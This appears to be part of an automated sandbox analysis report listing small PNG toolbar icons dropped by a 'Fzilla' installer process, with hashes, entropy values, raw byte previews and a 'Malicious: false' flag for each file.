SHA-512:	2858E090916869768073A3D2C884A793C12493C34AD8EF6033B3E8BECAB79E10A77CA5353C553E988558516948F14C72496A52D379741BE8411EB4B1EB9E0A68
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b..0..\.q....W....4....\|~.....Y......'...1WNI...?.u.LL......^............6...\|.cff.Y.....a..t...a....*........r\..h............."..y....@#.m}.z..d\|U..?A.pMre...&....S.@......7.........,.(..........I.3....../_.$)"...W.?%\|......6..0...g<\|..,.o.i.>q..+..R.O..DQ.f.........E..Z.....=.....N&,.s.h(...8.....W\|L.Md-.K2lQ.........v.F...}.....=...,.(.s.:_.~..s>.........`0.#"..V........s+.6\|U).....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\sitemanager.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	595
Entropy (8bit):	7.5078827190688235
Encrypted:	false
SSDEEP:	12:6v/7QSNr/5eTiRhU/PQD8lfqrk/QiQKzEBIbf8+blD8nRoVPO9:eBvuIkfaiH8Iz8+xDwiVa
MD5:	856047460F44A3D0582F396D76367179
SHA1:	7CC18E999B5C1DC155E6FF547DB2AA20EFADD450
SHA-256:	AC97A63EBA30A43CE50D13779CFBD237564F282CF76D9ECAB9E0616E765181FC
SHA-512:	661086660BE0A8059C3C3577114BAA40B61901A4E8AB04C968B077DF96D1485F4B47B94A156334ABE82F59EC499925EC83C188B356E1078C7605F7F1B60DB9F6
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx....Q..s^_......5.V....<{.Z..l..k....Oyq.\.........f.X.iX.TF..J(....o...p.\|...{.r.h5.~..,.....B...O.>=.....d.ZeF..?...8~."........F[G........{...v.......[_[...4.....B.....9x..&.... #.L....p...c...&..vX.z.\|.@...V.}.E.I$a....h......B...'.)...H..H.W.....SF4...G.. .......4.z....r.5X...E.....5....q.\.......y......~A..[[L'.-Ox.RL........k.'.%.1...(....W.w...%.....G..Y.J)^.0..<.....H.3..:............$.@....4."08....5.....7......l6.\|.@.-.r...{.....tDy......../.N...`.A,.(...N.../F..lZ.2.o........'%.).8)z."=.~...b....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\speedlimits.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	438
Entropy (8bit):	7.336777520323256
Encrypted:	false
SSDEEP:	12:6v/73deMJXe6o7ZpQkmPNVRrLBz/SvM3hHLs67:SxZefd2RLRp/WyhP7
MD5:	D4D712A881146D80DFBD85AAB111072B
SHA1:	D9422C016EE632EA7DD7FE66E495CC129B8FDECF
SHA-256:	14FC705B5CD6261A722C2228332695463B98A2F7FBAE97E457CF096886D07651
SHA-512:	864B0C623480C2C661D0447DE44584FF720F9C17F6DBAFD425510B0E28A9F2971C8065C5BA8DCF5135CB384CBF49A0E7135CBF6BF9563745189894477FFC17EA
Malicious:	false
Preview:	.PNG........IHDR................a...}IDATx.c..FAZf..zv.pbr.._TT.^[[k._......iU\......~.Mj...n..fzx..e`cU.W...r.{..........^....g.o...Y$&..U3...f...;v.......o..7...Y.qI..................`!....vt..j...\.`....0H....#15.\|....g.&..X...g..3..F..y.M.e.....qx.L.WP..'0.....lp .H.................N.........Z6.!`AF&.CG._...y...AB.@..6....@....Cp.v.y.Y8....Y..:..ddd9.}.7z..]PTV...]bm9.......i..J...\|a......(..h......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\synchronize.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	436
Entropy (8bit):	7.401420692537156
Encrypted:	false
SSDEEP:	12:6v/7ukuCtTNzrnskOOaV2Z1JRH6tCIF3gJi:hyhf/OOacRu3mi
MD5:	100FC761A41F80BE64C52A74F64CDC93
SHA1:	5CB3ADFFDB0B4F3FE4F4FC7521A74B88A5431EA3
SHA-256:	C063BDAEB8F6230E543D05E61A1A46865159A2EC4FFF230265D6D0D75FDC103C
SHA-512:	DEE91D2F8B88C2E24C7BC33E00EB2FC96F0306E3295ED1E0C7B9283271DD794C4F19AB008EBE3FB5109BE4C990EA358E9622AAC7A0923653AEDDE17B80C61EAD
Malicious:	false
Preview:	.PNG........IHDR................a...{IDATx.c.*....'Y.g......f.9G.NX8..d.....jVz>...2..3n.z$...>..\y.7.t..y..7...X.#YuaM...3..`.2..imN3A\|.F....._....D.+x..&.....C.a......6....aH"...i^..m1gNL...5V....L.{C......D....../n.P.a.5m..:R9...7..,..w7!)v.)3M^>y..=.%/?.........e....0s..5-{....)..u...a-[.}U5.q&......w..M=2.K..~z..=Q.......}.tl.6x../y.....f$..._\|...-....l..Q....3.H.............g...r0.j..L-.2.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\upload.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	377
Entropy (8bit):	7.27263470317427
Encrypted:	false
SSDEEP:	6:6v/lhPWZrdubw4OMYzd0JxH1cOsWXrsp6CdcKP0Jd4a5+7zUrTp:6v/7mrdZ8dX3CeKPpUr9
MD5:	E1A965661F46E68691390D35E366EF7A
SHA1:	2D969BC64AC8D796935ECCE48C81BBC00A302E94
SHA-256:	80F945E32B6BDDBB23B5BF234DA17A8828C246D6331611A3CD0B51E4B1873174
SHA-512:	8E09B9974ED7E515D167518926EBC53644156505BD3F9EC261BB38E1D9B88A94EEEFBAD71047033560FC4F79D69943D5CE06E99BB0B9C62287CB39D5AC0FBA08
Malicious:	false
Preview:	.PNG........IHDR................a...@IDATx.c.)........,.jv.Ye.....JL$Y...lf.n.......w...G..=..5....nu..z...W6.......t.....j....-..+.9\|...y..K.r'^.D.9......jN.,.^.~...T..z.p...MNoT.}..BP.S.D..i..:..?..p.T\......Y3....^..dE.E.\IR..6...&....R.8yY.9yY..aAQ^....0a...x..E&.......Z.,_.\|...........x....-.8q.f..u.D...si....^Z=.p....q.9G..,8Q..."0}..5..w.^+....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\uploadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	511
Entropy (8bit):	7.348600466901681
Encrypted:	false
SSDEEP:	12:6v/7hI3cFJiHh6cX9XPfl2vqC8rI/argn/aq4B:WI4kRX9XPflC8rSargyH
MD5:	37AD622CB38008845D98CBE0BA8D4D68
SHA1:	48531100C28E537318ED291D9A1B1EDA76BFD675
SHA-256:	DBA3101B9841B204B7DD32A8120DBAD439367ABA633AEBB3672B917EF6005FC3
SHA-512:	A2426F2B3C7CA1F42B320E7F9EEB3A678E65649512B2B7DABE15F6BB9ADB545A0FF5F1DB33B4F8A48673EE8FD85E64EFD8C2C7F54CB320151854F54FC0FFFEF2
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c...o..M...pp..?uF<........0...b...{!.j.\6...4..tZ...i...[...$&*.P...F.n..-....u..c.dF5..=.[-.S.ub.V.......Z..I.;..........f..5[....p...f...........^...P..._..Q........MZ>./..e......`..6:.....4...r...KW.p.4......%....=.,..rE...{.Ari.....V./8....N/...........y....._......#....1..+..@.m.._...P..5......ev...3.xU..Trn.Q.q.K.......EKl/.w..f.`.f.....Q"...D.......p..Y...c..1.`.e...l..q......8q.a....j.1.P..l..z.go.....#Q....;`..=..l........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\ascii.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	974
Entropy (8bit):	7.737825415231118
Encrypted:	false
SSDEEP:	24:b130h9bovyRkp8KOR/Nuu2p+TLpEbA+mLtyN7:ah9bfkvQP2p+TLaA+mL0d
MD5:	FC4B7AAA20E1C0016CB37DA7A87B4187
SHA1:	6863AB21E568B3A1C8805C6FA5C35AE142713D01
SHA-256:	48FFEA8EBF7AA5471B40E10EC19540550F155DB687F5BCFA12CAD1FA52A79196
SHA-512:	A1D8076A9AFCFBEEC25CA82F477F32B0DCEF825506F34CECC6FBC74E2401272A0587EE6154BAC8BED97772395B88E6665CE6E4CAE38DA72B6A72B6E491BC037D
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx......I..s.}W8.m..m..`..m.6....~U/...t..L.Z......S......\....... ....1..f.......xacl.Y...........nuvv...M.......KUUUJHH@ j...&2.AA.V...~..)."]..8...~~>....S,.S(.Z....C.fR.zW$088(......FW#..YV`hhH...W.pX.HdA.z...11QIII\|#F.__V..4.r..Bs...))).....z...m..@OO.(....~........TCC.ZZZ........8...3K...g.iMM.222..7.6\R.&OLL(;;[O<.*D......^y..}..........N=.T.m.x.SY...{.....=...6}..K.pL....V...._...>Y.........1B...D..SO=%..y.....q..~1.>..s.../.........s..Yg..r.!.;.6.tS.....T..?..@aa.....D..yyyS.b..>.`...V.....T._x.Y.N.s.@ev.VV....+p.-...O>Y..t.I..@Aa.A.....h .1Q__/J..>...m..X.BM..F...A.3.g..-....#.=.{W.+......o...~.iV..u....q...f....)...f....A_m{.N......[v}x/........T...b.L8....y.$.qO ...K....N?....x.P...>:..Ce...=e.......B..p.9..N..pdddj.4U5..?~...g..._`..6....%...(&2"bd......h.,..).../.}.wou..O.~.....,....\|>..].......\Y."'5{.$.....e5.._s:VM.Or%.X.Q..~.....$...X....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\auto.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1140
Entropy (8bit):	7.790902022199737
Encrypted:	false
SSDEEP:	24:oEyeBRdfOZSpUfpRwtrFu0snbOkcb6trMMJ57wACfE8InqSce36bP:oEpbfOZSpUurFHMbbqoMIZCf/Iqleqb
MD5:	BC3780FC5B18962FEB8B65DCC502947F
SHA1:	92A488AA58EEC52BE93BB2CBD922366552F5DBA1
SHA-256:	B323AC62524DE6E0762AFA36232C3358979E991BCD1A94148F49CABAA6A6E9A2
SHA-512:	1AC34F9BCCC48A37E83BD523F0851AABF9A0EC802DC1431C7CF08C90051E6A21D4CB650D3683CBD3EE6B43CC98D6ACB1CAF2EF79F601933CC54649998809779D
Malicious:	false
Preview:	.PNG........IHDR..............w=....;IDATx.....,......S..2.BT.m.m....Z\.ksv./...1U.q..}.-;....}....mKK......g.2.Q.........2..dCR.-.....vohh(Z,...,.\..0H..kU>...pP__..t.F..V...1G ....v..A..f#...J.0M.r.L.TZ..%y'W...RWW.2.,:h..d2I0.T....jE..u......D".".Z..Y"...r..L...............&u...!...:..D.D<...(P.T.DRe...F=..T....b.........:;;.D.....]...c..1J)...........&\|.....p..,8..t?v...IE..g.....>cp...so.\|...H.L....W...2.....5=...Y$..s..`...cQ.G...=...L..`......e....kM.........c~...a@\|...@>@...E.......2...=.7}./....%./@.....y..."..`(....^..t..u .B..e...J.b......~$.7..G.....+...U.........C.(+..T..LNNRSS.&...m%....0.T...\.9\|,f.N...V.>..v...3..R....0>>......^.*...N.[..;...1.xq.....x.Q0..;.....`.TY.....H...._.U.;..b6..\|JV.S.&. ..1...?a. ..@!...k......k....g..i.....a-.lve"]......aB..9..;.@.$.......Q....t.tUD.bi.>q..{.O.......T...].ER&..`.dW.......{U.%.UQ........<.SZw.{.....?.\|...s.3..W...........1:F..z^.M..jR.........w&.=x...<&7.........'T..n.z.2%u.lZ.r.LZ=/........

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\binary.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.6980039972192005
Encrypted:	false
SSDEEP:	24:1JFTCWrfR6ZwuHHP6SS9n/UWizCaSLXSFRQz:jFTfR6ZbnPnyn/S/O
MD5:	EE92146BF93ECB0A94122CD3C955E30D
SHA1:	D099EDB6DE7A773E7A1824B53337381E2A9A9009
SHA-256:	0BE651BA53E93E0D445E1B04823546140865498D506B90CAF039B2DCF9EDE48D
SHA-512:	E226E07183CFFFAB750FEBDE3632AA11D91E3C313905D305C7FC9DC5BE75A6889C4B2B49D288BD7F1F0F0209A22CA4D37CE42C7E6AEBA9FA04F1EB741BEADF8D
Malicious:	false
Preview:	.PNG........IHDR..............w=....pIDATx...S.dM....m...m.....=..m..'.F...9s..uWU..2...I>i0.N.t..z.......\|+.B.,..Z...%..o...G...D.J...4477....555...u0.566.n.C.P.R".I...>>.7n. ....P..HMMEee%..................\.....G.W@@qq1.........#.......(++C[[...`.Zq..%h4.Hc./ .=.JJJ..j..u........QQQ.X,...`pvW.G.ST^^...&.r..WEUUU....<..67..."SqqqHNN..[X@...!}C...-.A8.>}.@zEc...Xt..G...7.d`N....dr..l.u..10....3f.=..A.w........ep....lPO<...}.YP\.....v..G.y...s.B....E...{xDp`..]@UTT..o...]).o..#))........V...Y...q .....]...{...Y.j..w....s...b.<.8.....]+`JD..k.:..4jG.-.6A.T........Kq.S../v...........^.7.. ....`.5K.+......M...HHH..... ..,.+....;3..x.=...t..;..&M............{...g.}.#.......K.....OW}y.5..=....?4.Q.Q.p'..@....^\....?..D(wt.f....%...._..5.B...0t..X.-....Nf...0....f`PN@...I.yr.._....==...w....`ALL.w&k.&..b.....V\|..._...u?. ......x.+.J.T..qR.0M..].....?"m.#z.....f.y.o.?..1'......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\bookmark.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	336
Entropy (8bit):	7.060004696530624
Encrypted:	false
SSDEEP:	6:6v/lhPZ1dknD9coShCc9YUNj+6V8hSqmSjsTrepz1Zf8XZ0QHD71Wj7dp:6v/7vm2oY39YUNjR8JoTKtzf8XSQHD7K
MD5:	448C9566157A6545B55BBC65EC035274
SHA1:	D43734EC0495586C77236D0CFB119BDE15717E92
SHA-256:	D337EA13034EA808D6C1F42BE4E5EA548F297F4C24F617A52CEBEBD71422F2A5
SHA-512:	7C040FC59597D7BC2DF66DF43E4494BC7469EE7E1136A4F74279F20F747736C248D1D16A5B8A32EB65FE4678ED2D5144A9AB23250D032FB2BF86B4F580038688
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx..%P.A.@.w.]#.c} ....wwww.....qm;..g...[...?.V.k.b({.N.l.....'..N&...u.\..".....'.&.+....n...?..&.#..}H....?....M(Z..\./P....Bd..g+.z. ..lS!PC..9. .....@..6U.{..@.....OW...@..8f(.j._....<.A.W. ..:.yL\|{...N...$.6.-^...W.a"8......*...x.'."..}.X......'.....e@.<..5.........tv....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\cancel.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	615
Entropy (8bit):	7.528080158719681
Encrypted:	false
SSDEEP:	12:6v/7MSsCEqt65tCs7Y4ZsIV+/nLy4vJ5yejaSsdbGQwiTg80i0v3liN:hSsdq8y8/S8+/Ly4HVjuu80iE3kN
MD5:	FFC4084C925A44B9A427CFACB60B0D0D
SHA1:	CB8A06176436D64E14D3EA1D160AF2188CB99B8B
SHA-256:	8541E3327C66A84F2992EFCA3D3816ACF83D0595257725C65830324EFBE6B55F
SHA-512:	3A9F20806CABFCE664DD264516F836D7D39BD5D38152631218EF1290E2A1AB18A238D7B247B2E8A3614B6CD6237F4191FA651F123C3B69FE2FC5C083CF90D095
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx.....@.._m..A..m.ET.AmDeP.8.....$..6&..f.\|k...i)k..?..?.~\..._....;........a..S.m+pV..)....[.ow7`;\u.../B...o.,zST.:k bw...........m..WE8+jM[.2.c..j.;.k...0.........e.)...=+-...U.m.r>..d.....vENV........~.2..^.....g..>....D.E.^..IQ..V..8..P.7..M.....kc....0..;H..H{t....<....G)...Mg.o.pT<-/D..l....:./.9.V..`!.............,......Jx....`.?..X..K .....<........F.K..U5......1...... b.P.ex.)...%._G.....\5,@...........F.S.....nA8..........wBv\4"WM.#...1D>%B....&...g.....x....:.......{...[.y...9.y...o.0<..,.>!...N.'.q.%.Z!.w.q;:...2.k.............IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\compare.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	726
Entropy (8bit):	7.594404615240779
Encrypted:	false
SSDEEP:	12:6v/7lRMudVR9J8CRW0Ro6eTmE/gKhnnRzMjJNH/GfET3hgJ+EOkOc:sJ8T0RovTH/g4RzMjbuuCDND
MD5:	E94D9F352059F9FC26545563E046FED4
SHA1:	7EBE17DA2B2261342405AFA3610A31C663E0DD8B
SHA-256:	228CC19E705FCA59A99232DE6845C001AB5FC5A04815CF842A281C610B56077A
SHA-512:	5724CE476F98932B01EAD02D2C454E8C3411ECE0B3393958FDCEAB17B55E441ECDEFE6656036CAC63A6F6A152776939BC2982015B03B7242DB17FC29001BDC79
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx.b.:`..X.....08k.m.yk.m...y.m]b...6:.7.u......O.f.3...HZ.........d..DB.....(.R...:........=.I..i.t.......".....$......l..c.....Fj.@.....$?.4'E...Xj.}G.?/.....M..x4.4...L..'.O.......?.J.!..pQ.J..&...9>.....y.R...,.vDZ(...U.'.....R.j~........+...J. ..G. .\.0k.6...J.$..G.P@pBh.2.(....U7....x/9.....:.c.+..K......tg%..W9....q........:T.V...m..T.B.9..B....-.D..1O#-.T.y.....)r..@x/.g/i..-.m.'. !..F..?.Rd.5.7...N.I.?..../7E... ...h.h...m...j...VG.2.z.3Y>VLgF.l_n. .r..km...3...."...mTx.W..Hnc~.4...H.q..m..;.....S ...{..........I...\.m... ......ZI..v..1Q.......w.........B......-.p>. ..p}..\|t...(..?i.{.*..@(........3`..`.....L..i.N....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\disconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	913
Entropy (8bit):	7.7371366739927545
Encrypted:	false
SSDEEP:	24:DVlj3ZV/IQi2k01lsFZf+RaCGYiukvFCvqKjSmI:/rAukrZGRaCGYiJKjSmI
MD5:	0151B253AA9748F37487150909477D10
SHA1:	A48EEDBC8DCCF233EAABF8F7D045AE65DA6BF3B9
SHA-256:	C5DE1A69F932CBB7EC2F25E5D22092CA37033C1D1DCFA366E080DB9B271A6A71
SHA-512:	E730CA426B21141FC453ED09ECF4582FBBA7AB3C2624CCF924F1D3DF6AF61865CBF44742D3D4AAACD76578A860F162B25439CA91FBC923638C57F1C5EAE2D833
Malicious:	false
Preview:	.PNG........IHDR..............w=....XIDATx.b ...37?@...dG....m[c[k..<.q..mO.=.Al.\k.m..;6.9U.....e..X.\|.....r.......r.........=.z#4..F.z.f.r.....F..V..N..j-f.T..@X.b...a..X.e!..c.&p..H^0.#..3.`....i)..c.......].E..Y.y..F.);/Xz}..?...!.....S..p.N!...3T.....f...P6..^..Z......T_.fN..?...e..i.y.0o...."......$...^.!..6.....v..._..$. ..Gpf>LS......v.?...p..h\.OB.0..8./.^?f.6..Q]...<.....x.'&C.Y...8a..."......3..2q...ft.......f..5..Y...V,ot.5...C.j..7G~gc'.....^.G...O.......D..(bE}...+........,.;......w....@Q.@uu5dYF}..]*.....x>...]......W@b.s.^.P.z......8j.%......0Q.0\[.u..Q.e.....=..q3.n....}N.v...G..`...i.Pg.#. ..=..W..y......5..:7.."....E.....r.:S..y.p..{.a..W.qF5.Y#~..F..h....%.Wc}..K.O.E..8hE8...%.`Q..=.t.?...{..79......@..X...Cl\|..a.#.....F..!VV`Ar.D......a....]`.3..+UV..l.S...l....[B....."[...m8.e.2..9hI.v......y.....h>...........dH.....-....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\download.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	299
Entropy (8bit):	7.104393007839961
Encrypted:	false
SSDEEP:	6:6v/lhPZEhyYKUgxleGDjRbPFEvPreShMjVfxXnAMBZlVp:6v/7Cyv/oGDlb+vPreSk1xXAMBZ1
MD5:	6EB5C63C607C3DEADF6CF144B3F82402
SHA1:	9EE2F3A11E1FA83C671BA9556584033580873DD5
SHA-256:	106335897D934523FACB371122C197FE6155CF780DE1B3CB4A5A4058E7B34D74
SHA-512:	5640CEF022F2F2570BFCF76408F1478AD61D43F6B5207451D1673078893A1392C7D6EC1A4901EDE38527753DB74D3904547D93D7BE2FADA04DF7F0BF685B581A
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx.b......i... ^.....:..0.g..%.G..9.5,.m.md.u.q.....?..9>.s.b..Z.$@... U..kQ.".........;.U.p.(L..'....mK8....PB&..z:*....u)........X...w.}.?....p...-c\|I.8...ip.....E..=.....l.#O(F4:Q.d..c.z.o...2@.o.-....=..+....".I..h.C....1.$.gJ.q....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\downloadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	406
Entropy (8bit):	7.335297639701669
Encrypted:	false
SSDEEP:	12:6v/7NxMGFpOyAUPHv5/Pn/5VOmMxj2VtS7GPj1T/uF+O:MdFgyAUPHvFn5NMxj2SCPMF+O
MD5:	5F41EAC0D665C8F09FE2029CCE593372
SHA1:	AD847EF603FF3010F43E49DBB5EDAC8F308B05A9
SHA-256:	5C094635BA52273033E7E58FCE6464508E5D7FB671BBE6A0CB9C741D243CFA0C
SHA-512:	E814C67EEC32114EA38F6695EB7D0964049ABB7A632260F0E4B2565D73ABEA8D9CFDE2874D3426EF2CAAAC2314C2132A68AC54C8EB37A38C8A81EC4F0AB331DC
Malicious:	false
Preview:	.PNG........IHDR..............w=....]IDATx.b......i..n .bFlj4+...3.\.....jb.MT....ul...m..=..<7k[........*H@./.~..6-.=..5.....;...nv.#.h....x....u.>b..g.q.[%0A..A G.?A...$.Oy..w..M/.C....DO.p...............T....m.........4L...&.e...S.\|...Z.....tq......".<..8c..Co....>.......U.iz.....%j..B....c.M....>.."7zJ.....~g.._...J..]..<'.x....kt./.Q..v.{..f......R.E.).bh....8..,.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\file.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	376
Entropy (8bit):	7.2672979681476715
Encrypted:	false
SSDEEP:	6:6v/lhPu+qx2wNLHE5UAD6nvgLA8WJCfxCHf4C1Dm6023OhHTwvuF2SmOtM0IiEdr:6v/7mPzTG6vyWJ7/4Km6URTw2FKOq359
MD5:	EE6C02D4B8613DEA4746D8EBB1925488
SHA1:	D219832F847C56E5512FFB2801F5F4FDF4D63229
SHA-256:	244C74E11F248FE30E324BFBDCF1EA36C8FA9C7A185940E83C7EB3F8927CCB32
SHA-512:	7ECF0ED9218C3EAAE14BFC4C7FC11CF82A6DC9BEB8316F1955C167FAC2836623F4B44A2BA272DBC6EF4FAB347E56726D6E02C44D1A6F31156C2C7E5B242B1769
Malicious:	false
Preview:	.PNG........IHDR.............J~.s...?IDAT8..AN.@..a.^.Sx4..A.)L(@ii.......D.HL.P......1..t..._2o.&...1s........[.V..Cl,..Y\s.......:.sF.chl$.b...A....'.N)``4.A...\|$..@.~..%.x......>%t.D....!.....q.%U.I.......t....v.p..gJ.`...iQGM....$2".6U....0Z.../{...?..QV.>....X..K....>pq.. ......p......c^..za.......G:<,t..9.N.D.......0e.lW.............n.k.-.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\filter.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	216
Entropy (8bit):	6.680528840864718
Encrypted:	false
SSDEEP:	6:6v/lhPXiyTs1JJMxR6zpFd/ziHB8toxs95p:6v/7qZJM+zTd/ziHB8toxs93
MD5:	F5A5AC8F87E4E6A8D1DC6B7583D2614A
SHA1:	017B80B5DB7D5A5255BF308D49D22FCB9738D9B8
SHA-256:	6DBDCA9A1B77F3810634D2652C38A6327C49FF78AFD346B0B61B671B70C96AED
SHA-512:	D9381B0794082CA12170F39EE4564E7C4A34CC06B046BB5F7B8BC7FF0AB925EA999CF0EA216F292A880AFF07B1963C6C2DA256FB08B5F7AE22F7C5EB345C684F
Malicious:	false
Preview:	.PNG........IHDR.............J~.s....IDATx.c`..4.tA..y(pUi7n..J.c..qj........:.!.1...._......._.)...B..zx=.....f..+.....0.K..^..I.S..K]&2>2.3~......I...................@..HKW...J9H.bX*.0......q...Q.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\find.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	785
Entropy (8bit):	7.654297878181793
Encrypted:	false
SSDEEP:	12:6v/7yylkM/HHJhGe9RumEQc8CudE9ZBfV2NkQWNEL8FvkhmCyJ0pm1qWz3mJc:pyugnJhGe9RZ5cTBBfkCkhmCa0IxqC
MD5:	C17844F31C2C465D9654EB678B8339EB
SHA1:	8C52453717F57735C758EF78B4A07396C9AA24E1
SHA-256:	7D194E1E2F2C08124858BE9AD9DCAAFBE713EDE2243488308B506C2510FD130E
SHA-512:	7BEDE7A65B4F0F913504D45392812904574A4EA1FCB12309260D5BA4BA4F186457AF1ACA7632D7AE78610C6AE0AE73508AEB7446BB7ED83D3BDF8C661939B5A0
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx.b.-.....)9..v.`.......m.6W.m{.c.mb[.~....U-.u.Q..-...,X:..(..R.%8Z....ZI-]{k...6..8...mY.!...X.U....u1.-.w...4ql....;.VU...N...Vt].1....._;...^,..XWY`.Lu.g5a...{....^..ev...6.E.....j....C....}h.B.......]..F.1.C3.g.s]...6@c.........{....w..<s.fZ..........S...np@.....<..v.#.$1L.fq...$.}(...m..<.......-y...Q}.4EBW.2.c...1....p..p.pr....im......).O.-Fap.T%8..{...i8{;j..s..uYJ...x.$.k..Y....:...#.P..V.%..&..??......c+pX....y..l..B!.....f...(.t....!>< ..."6s...^..\|..SWH.....kx.....(;./..)..\p.d.v85.5{l.. .....#kJq.`...%H.[..y.v.......q....i\.$..].....E.....2x.-QM.1.....'.....\|.3..N,.....G...W.*....H...Y.(..;.@.gX.4....%...........'u..m..WW..5u......g...a\|ZFF......F.....'l.30.(....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\folder.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	493
Entropy (8bit):	7.469694044352245
Encrypted:	false
SSDEEP:	12:6v/7ZoM7fc/kSWRwRPk8tQxAIT7HggQ5rwjmpDMsr9:K7E/kZRwmuQWMHRQ5MjI4c
MD5:	FC529382E4849ECCF70165A5D70E2F2B
SHA1:	1E06AE9A571EA679DD0BD2201C0A1EF0D33FCF58
SHA-256:	589CA772823495E7348CA5EA31E26BC1A0E32696AE6299815F7D1124E7235DC3
SHA-512:	428540D9551A182F6B3CC32427F0AF27E6D0BA89EF885624A23FF6B617995559CFF2E48B720DE080791883F6A1CC12495AD71ECAE94CD9EE5DB5CC30A4B10A7C
Malicious:	false
